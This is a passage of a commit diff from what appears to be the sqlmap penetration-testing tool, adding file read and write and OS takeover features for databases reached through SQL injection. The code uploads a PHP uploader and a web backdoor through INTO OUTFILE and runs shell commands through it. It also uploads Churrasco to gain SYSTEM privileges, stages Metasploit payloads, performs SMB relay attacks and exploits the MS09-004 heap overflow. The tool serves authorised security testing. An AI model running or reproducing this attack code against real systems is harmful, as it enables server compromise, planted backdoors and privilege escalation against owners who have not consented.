message = "do you want confirmation that the file '%s' " % dFile
message += "has been successfully written on the back-end DBMS "
message += "file system? [Y/n] "
output = readInput(message, default="Y")
if not output or output in ("y", "Y"):
self.__checkWrittenFile(wFile, dFile, fileType)
def readFile(self, rFile):
errMsg = "OS file reading not yet implemented for this DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
fileContent = None
stackedTest()
self.checkDbmsOs()
if kb.stackedTest == False:
debugMsg = "going to read the file with UNION query SQL "
debugMsg += "injection technique"
logger.debug(debugMsg)
fileContent = self.unionReadFile(rFile)
else:
debugMsg = "going to read the file with stacked query SQL "
debugMsg += "injection technique"
logger.debug(debugMsg)
fileContent = self.stackedReadFile(rFile)
if fileContent == None:
self.cleanup(onlyFileTbl=True)
return
if kb.dbms in ( "MySQL", "Microsoft SQL Server" ):
fileContent = self.__unhexString(fileContent)
elif kb.dbms == "PostgreSQL":
fileContent = self.__unbase64String(fileContent)
rFilePath = dataToOutFile(fileContent)
self.cleanup(onlyFileTbl=True)
return rFilePath
def writeFile(self, wFile):
errMsg = "OS file writing not yet implemented for this DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
def writeFile(self, wFile, dFile, fileType=None, confirm=True):
stackedTest()
self.checkDbmsOs()
if kb.stackedTest == False:
debugMsg = "going to upload the %s file with " % fileType
debugMsg += "UNION query SQL injection technique"
logger.debug(debugMsg)
self.unionWriteFile(wFile, dFile, fileType, confirm)
else:
debugMsg = "going to upload the %s file with " % fileType
debugMsg += "stacked query SQL injection technique"
logger.debug(debugMsg)
self.stackedWriteFile(wFile, dFile, fileType, confirm)
self.cleanup(onlyFileTbl=True)

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

134
plugins/generic/misc.py Normal file
View File

@@ -0,0 +1,134 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
import os
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.session import setRemoteTempPath
from lib.request import inject
from lib.techniques.outband.stacked import stackedTest
class Miscellaneous:
"""
This class defines miscellaneous functionalities for plugins.
"""
def getRemoteTempPath(self):
if not conf.tmpPath:
if kb.os == "Windows":
# NOTES:
#
# * MySQL runs by default as SYSTEM and the system-wide
# temporary files directory is C:\WINDOWS\Temp
#
# * PostgreSQL runs by default as postgres user and the
# temporary files directory is C:\Documents and Settings\postgres\Local Settings\Temp,
# however the system-wide folder is writable too
#infoMsg = "retrieving remote absolute path of temporary files "
#infoMsg += "directory"
#logger.info(infoMsg)
#
#conf.tmpPath = self.evalCmd("echo %TEMP%")
conf.tmpPath = "C:/WINDOWS/Temp"
else:
conf.tmpPath = "/tmp"
if re.search("^[\w]\:[\/\\\\]+", conf.tmpPath, re.I):
kb.os = "Windows"
conf.tmpPath = conf.tmpPath.replace("\\", "/")
conf.tmpPath = os.path.normpath(conf.tmpPath)
setRemoteTempPath()
def createSupportTbl(self, tblName, tblField, tblType):
inject.goStacked("DROP TABLE %s" % tblName)
inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType))
def cleanup(self, onlyFileTbl=False):
"""
Cleanup database from sqlmap create tables and functions
"""
stackedTest()
if kb.stackedTest == False:
return
if kb.os == "Windows":
libtype = "dynamic-link library"
elif kb.os == "Linux":
libtype = "shared object"
else:
libtype = "shared library"
if onlyFileTbl == True:
logger.debug("cleaning up the database management system")
else:
logger.info("cleaning up the database management system")
logger.debug("removing support tables")
inject.goStacked("DROP TABLE %s" % self.fileTblName)
if onlyFileTbl == False:
inject.goStacked("DROP TABLE %s" % self.cmdTblName)
if kb.dbms == "Microsoft SQL Server":
return
for udf in ( "sys_exec", "sys_eval" ):
message = "do you want to remove %s UDF? [Y/n] " % udf
output = readInput(message, default="Y")
if not output or output in ("y", "Y"):
dropStr = "DROP FUNCTION %s" % udf
if kb.dbms == "PostgreSQL":
dropStr += "(text)"
logger.debug("removing %s UDF" % udf)
inject.goStacked(dropStr)
logger.info("database management system cleanup finished")
warnMsg = "remember that UDF %s files " % libtype
if conf.osPwn:
warnMsg += "and Metasploit related files in the temporary "
warnMsg += "folder "
warnMsg += "saved on the file system can only be deleted "
warnMsg += "manually"
logger.warn(warnMsg)

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@@ -24,14 +24,399 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
from lib.core.exception import sqlmapUnsupportedFeatureException
import re
from lib.core.common import getDirectories
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.shell import autoCompletion
from lib.request.connect import Connect as Request
from lib.takeover.abstraction import Abstraction
from lib.takeover.dep import DEP
from lib.takeover.metasploit import Metasploit
from lib.takeover.registry import Registry
from lib.techniques.outband.stacked import stackedTest
class Takeover:
class Takeover(Abstraction, DEP, Metasploit, Registry):
"""
This class defines generic OS takeover functionalities for plugins.
"""
def __init__(self):
self.cmdTblName = "sqlmapoutput"
self.tblField = "data"
self.cmdFromChurrasco = False
Abstraction.__init__(self)
DEP.__init__(self)
def __webBackdoorRunCmd(self, backdoorUrl, cmd):
"""
TODO: complete review of this code is needed
"""
output = None
cmdUrl = "%s?cmd=%s" % (backdoorUrl, conf.osCmd)
page, _ = Request.getPage(url=cmdUrl, direct=True)
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
if output:
print output.group(1)
else:
print "No output"
return output
def __webBackdoorOsShell(self):
"""
TODO: complete review of this code is needed
This method is used to write a PHP agent (cmd.php) on a writable
remote directory within the web server document root.
Such agent is written using the INTO OUTFILE MySQL DBMS
functionality
@todo:
* Add a web application crawling functionality to detect
all (at least most) web server directories and merge with
Google results if the target host is a publicly available
hostname or IP address;
* Extend the agent to other interpreters rather than only PHP:
ASP, JSP, CGI (Python, Perl, Ruby, Bash).
"""
infoMsg = "retrieving web application directories"
logger.info(infoMsg)
directories = getDirectories()
if directories:
infoMsg = "retrieved web server directories "
infoMsg += "'%s'" % ", ".join(d for d in directories)
logger.info(infoMsg)
message = "in addition you can provide a list of directories "
message += "absolute path comma separated that you want sqlmap "
message += "to try to upload the agent [/var/www/test]: "
inputDirs = readInput(message, default="/var/www/test")
else:
message = "please provide the web server document root [/var/www]: "
inputDocRoot = readInput(message, default="/var/www")
if inputDocRoot:
kb.docRoot = inputDocRoot
else:
kb.docRoot = "/var/www"
message = "please provide a list of directories absolute path "
message += "comma separated that you want sqlmap to try to "
message += "upload the agent [/var/www/test]: "
inputDirs = readInput(message, default="/var/www/test")
if inputDirs:
inputDirs = inputDirs.replace(", ", ",")
inputDirs = inputDirs.split(",")
for inputDir in inputDirs:
directories.add(inputDir)
else:
directories.add("/var/www/test")
infoMsg = "trying to upload the uploader agent"
logger.info(infoMsg)
directories = list(directories)
directories.sort()
uploaded = False
backdoorName = "backdoor.php"
backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName)
uploaderName = "uploader.php"
uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName))
for directory in directories:
if uploaded:
break
# Upload the uploader agent
uploaderQuery = uploaderStr.replace("WRITABLE_DIR", directory)
query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName)
query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery
query = agent.prefixQuery(" %s" % query)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
page = Request.queryPage(payload)
if kb.docRoot:
requestDir = directory.replace(kb.docRoot, "")
else:
requestDir = directory
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
page, _ = Request.getPage(url=uploaderUrl, direct=True)
if "sqlmap backdoor uploader" not in page:
warnMsg = "unable to upload the uploader "
warnMsg += "agent on '%s'" % directory
logger.warn(warnMsg)
continue
infoMsg = "the uploader agent has been successfully uploaded "
infoMsg += "on '%s'" % directory
logger.info(infoMsg)
# Upload the backdoor through the uploader agent
multipartParams = {
"upload": "1",
"file": open(backdoorPath, "r"),
"uploadDir": directory,
}
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
page = Request.getPage(url=uploaderUrl, multipart=multipartParams)
if "Backdoor uploaded" not in page:
warnMsg = "unable to upload the backdoor through "
warnMsg += "the uploader agent on '%s'" % directory
logger.warn(warnMsg)
continue
uploaded = True
backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
infoMsg = "the backdoor has been successfully uploaded on "
infoMsg += "'%s', go with your browser to " % directory
infoMsg += "'%s' and enjoy it!" % backdoorUrl
logger.info(infoMsg)
if conf.osShell:
message = "do you want to use the uploaded backdoor as a "
message += "shell to execute commands right now? [Y/n] "
shell = readInput(message, default="Y")
if shell in ("n", "N"):
continue
infoMsg = "calling OS shell. To quit type "
infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg)
autoCompletion(osShell=True)
while True:
command = None
try:
command = raw_input("os-shell> ")
except KeyboardInterrupt:
print
errMsg = "user aborted"
logger.error(errMsg)
except EOFError:
print
errMsg = "exit"
logger.error(errMsg)
break
if not command:
continue
if command.lower() in ( "x", "q", "exit", "quit" ):
break
self.__webBackdoorRunCmd(backdoorUrl, command)
def uploadChurrasco(self):
msg = "do you want sqlmap to upload Churrasco and call the "
msg += "Metasploit payload stager as its argument so that it "
msg += "will be started as SYSTEM? [Y/n] "
output = readInput(msg, default="Y")
if not output or output[0] in ( "y", "Y" ):
# TODO: add also compiled/packed Churrasco for Windows 2008
wFile = "%s/tokenkidnapping/Churrasco.exe" % paths.SQLMAP_CONTRIB_PATH
self.churrascoPath = "%s/sqlmapchur%s.exe" % (conf.tmpPath, randomStr(lowercase=True))
self.cmdFromChurrasco = True
# NOTE: no need to handle DEP for Churrasco executable because
# it spawns a new process as the SYSTEM user token to execute
# the executable passed as argument
self.writeFile(wFile, self.churrascoPath, "binary", confirm=False)
return True
else:
return False
def osCmd(self):
stackedTest()
if kb.stackedTest == False:
return
self.initEnv()
self.runCmd(conf.osCmd)
def osShell(self):
errMsg = "OS shell functionality not yet implemented for this DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
stackedTest()
if kb.stackedTest == False:
infoMsg = "going to upload a web page backdoor for command "
infoMsg += "execution"
logger.info(infoMsg)
self.__webBackdoorOsShell()
else:
self.initEnv()
self.absOsShell()
def osPwn(self):
stackedTest()
if kb.stackedTest == False:
return
self.initEnv()
self.getRemoteTempPath()
self.createMsfPayloadStager()
self.uploadMsfPayloadStager()
if kb.os == "Windows":
# NOTE: no need to add an exception to DEP for the payload
# stager because it already sets the memory to +rwx before
# copying the shellcode into that memory page
#self.handleDep(self.exeFilePathRemote)
if conf.privEsc and kb.dbms == "MySQL":
debugMsg = "by default MySQL on Windows runs as SYSTEM "
debugMsg += "user, no need to privilege escalate"
logger.debug(debugMsg)
elif conf.privEsc and kb.dbms == "PostgreSQL":
warnMsg = "by default PostgreSQL on Windows runs as postgres "
warnMsg += "user which has no Windows Impersonation "
warnMsg += "Tokens: it is unlikely that the privilege "
warnMsg += "escalation will be successful"
logger.warn(warnMsg)
elif conf.privEsc and kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
warnMsg = "often Microsoft SQL Server %s " % kb.dbmsVersion[0]
warnMsg += "runs as Network Service which has no Windows "
warnMsg += "Impersonation Tokens within all threads, this "
warnMsg += "makes Meterpreter's incognito extension to "
warnMsg += "fail to list tokens"
logger.warn(warnMsg)
uploaded = self.uploadChurrasco()
if uploaded == False:
warnMsg = "beware that the privilege escalation "
warnMsg += "might not work"
logger.warn(warnMsg)
else:
# Unset --priv-esc if the back-end DBMS underlying operating
# system is not Windows
conf.privEsc = False
self.pwn()
def osSmb(self):
stackedTest()
self.checkDbmsOs()
if kb.os != "Windows":
errMsg = "the back-end DBMS underlying operating system is "
errMsg += "not Windows: it is not possible to perform the SMB "
errMsg += "relay attack"
raise sqlmapUnsupportedDBMSException, errMsg
if kb.stackedTest == False:
if kb.dbms in ( "PostgreSQL", "Microsoft SQL Server" ):
errMsg = "on this back-end DBMS it is only possible to "
errMsg += "perform the SMB relay attack if stacked "
errMsg += "queries are supported"
raise sqlmapUnsupportedDBMSException, errMsg
elif kb.dbms == "MySQL":
debugMsg = "since stacked queries are not supported, "
debugMsg += "sqlmap is going to perform the SMB relay "
debugMsg += "attack via inference blind SQL injection"
logger.debug(debugMsg)
printWarn = True
warnMsg = "it is unlikely that this attack will be successful "
if kb.dbms == "MySQL":
warnMsg += "because by default MySQL on Windows runs as "
warnMsg += "Local System which is not a real user, it does "
warnMsg += "not send the NTLM session hash when connecting to "
warnMsg += "a SMB service"
elif kb.dbms == "PostgreSQL":
warnMsg += "because by default PostgreSQL on Windows runs "
warnMsg += "as postgres user which is a real user of the "
warnMsg += "system, but not within the Administrators group"
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
warnMsg += "because often Microsoft SQL Server %s " % kb.dbmsVersion[0]
warnMsg += "runs as Network Service which is not a real user, "
warnMsg += "it does not send the NTLM session hash when "
warnMsg += "connecting to a SMB service"
else:
printWarn = False
if printWarn == True:
logger.warn(warnMsg)
self.smb()
def osBof(self):
stackedTest()
if kb.stackedTest == False:
return
if not kb.dbms == "Microsoft SQL Server" or kb.dbmsVersion[0] not in ( "2000", "2005" ):
errMsg = "the back-end DBMS must be Microsoft SQL Server "
errMsg += "2000 or 2005 to be able to exploit the heap-based "
errMsg += "buffer overflow in the 'sp_replwritetovarbin' "
errMsg += "stored procedure (MS09-004)"
raise sqlmapUnsupportedDBMSException, errMsg
infoMsg = "going to exploit the Microsoft SQL Server %s " % kb.dbmsVersion[0]
infoMsg += "'sp_replwritetovarbin' stored procedure heap-based "
infoMsg += "buffer overflow (MS09-004)"
logger.info(infoMsg)
# NOTE: only needed to handle DEP
self.initEnv(mandatory=False, detailed=True)
self.getRemoteTempPath()
self.createMsfShellcode()
self.overflowBypassDEP()
self.bof()
self.delException()